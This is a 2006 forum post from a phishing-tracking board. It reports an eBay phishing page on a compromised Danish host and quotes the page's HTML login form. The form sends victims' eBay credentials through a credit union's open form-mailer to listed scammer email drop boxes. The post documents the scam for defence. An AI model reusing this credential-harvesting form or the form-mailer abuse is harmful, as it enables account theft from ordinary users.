Add another one to the list

Author

All Replies

MGD
Premium,MVM
join:2002-07-31
kudos:9

reply to SYNACK

nwrickert

just submitted an Ebay Phish 4034 »/phishtrack?pi···4&urls=1 that was just added to the /bshow/ directory on the same Danish machine.
ht*tp://0x573471f6.boanxx16.adsl-dhcp.tele.dk/bshow/coPartnerSiteId/eb.html

Ebay Phish

And as usual the victim's data is sent to the phishers drop boxes courtesy of Credit Union National Association's (CUNA)ht*tp://www.creditunion.coop/cgi-php/formtomail.php form mailer. In this case the email addresses used are: rudele-din-state@gmail.com and zuzzicutz@yahoo.com


<td width="310" height="23" nowrap><b>Verify your eBay User and Password</b></td>

<form method="post" name="SignInForm" onsubmit="setOptimCookie();" action="http://www.creditunion.coop/cgi-php/formtomail.php">
<input type="hidden" name="from" value="rudele-din-state@gmail.com">

<input type="hidden" name="to" value="zuzzicutz@yahoo.com">

<input type="hidden" name="subject" value="User">
<input type="hidden" name="nexturl" value="http://0x573471f6.boanxx16.adsl-dhcp.tele.dk/bshow/coPartnerSiteId/update.html">

So far we have collected 5 drop boxes of the Romo scammers.

masa@gmail.com

zuzzi@tycobb.net

rudele@gmail.com

rudele-din-state@gmail.com

zuzzicutz@yahoo.com

MGD

to forum · permalink · 2006-09-02 18:45:06 ·

Broadband Tech > Security > Scam and Phishbusters > [Phishing] E-bay phish disguised as survey

Add another one to the list